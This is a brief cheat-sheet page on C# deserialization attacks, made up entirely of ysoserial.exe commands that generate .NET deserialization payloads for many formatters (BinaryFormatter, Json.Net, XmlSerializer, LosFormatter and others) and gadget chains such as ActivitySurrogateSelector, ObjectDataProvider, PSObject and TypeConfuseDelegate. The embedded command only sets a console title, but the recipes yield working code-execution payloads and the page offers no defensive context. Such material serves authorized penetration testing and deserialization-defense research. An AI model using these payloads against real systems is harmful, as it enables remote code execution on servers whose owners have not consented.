C# Deserialization
C# Deserialization¶
Deserialization payload generator for a variety of .NET formatters
Generate Payloads:
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "cmd.exe /K title 'BF_ASS.xml'" -o raw -t > BF_ASS.xml
ysoserial.exe -f ObjectStateFormatter -g ActivitySurrogateSelector -c "cmd.exe /K title 'OSF_ASS.xml'" -o raw -t > OSF_ASS.xml
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelector -c "cmd.exe /K title 'SOAP_ASS.xml'" -o raw -t > SOAP_ASS.xml
ysoserial.exe -f LosFormatter -g ActivitySurrogateSelector -c "cmd.exe /K title 'Los_ASS.xml'" -o raw -t > Los_ASS.xml
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd.exe /K title 'JSONNet_ODP.xml'" -o raw -t > JSONNet_ODP.xml
ysoserial.exe -f FastJson -g ObjectDataProvider -c "cmd.exe /K title 'FastJson_ODP.xml'" -o raw -t > FastJson_ODP.xml
ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -c "cmd.exe /K title 'JSS_ODP.xml'" -o raw -t > JSS_ODP.xml
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "cmd.exe /K title 'XMLSer_ODP.xml'" -o raw -t > XMLSer_ODP.xml
ysoserial.exe -f DataContractSerializer -g ObjectDataProvider -c "cmd.exe /K title 'DCS_ODP.xml'" -o raw -t > DCS_ODP.xml
ysoserial.exe -f BinaryFormatter -g PSObject -c "cmd.exe /K title 'Bin_PSO.xml'" -o raw -t > Bin_PSO.xml
ysoserial.exe -f ObjectStateFormatter -g PSObject -c "cmd.exe /K title 'OSF_PSO.xml'" -o raw -t > OSF_PSO.xml
ysoserial.exe -f SoapFormatter -g PSObject -c "cmd.exe /K title 'SOAP_PSO.xml'" -o raw -t > SOAP_PSO.xml
ysoserial.exe -f NetDataContractSerializer -g PSObject -c "cmd.exe /K title 'NDCS_PSO.xml'" -o raw -t > NDCS_PSO.xml
ysoserial.exe -f LosFormatter -g PSObject -c "cmd.exe /K title 'Los_PSO.xml'" -o raw -t > Los_PSO.xml
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd.exe /K title 'Bin_TCD.xml'" -o raw -t > Bin_TCD.xml
ysoserial.exe -f ObjectStateFormatter -g TypeConfuseDelegate -c "cmd.exe /K title 'OSF_TCD.xml'" -o raw -t > OSF_TCD.xml
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "cmd.exe /K title 'NDCS_TCD.xml'" -o raw -t > NDCS_TCD.xml
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "cmd.exe /K title 'Los_TCP.xml'" -o raw -t > Los_TCP.xml
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd.exe /K title 'JSONNet_WI.xml'" -o raw -t > JSONNet_WI.xml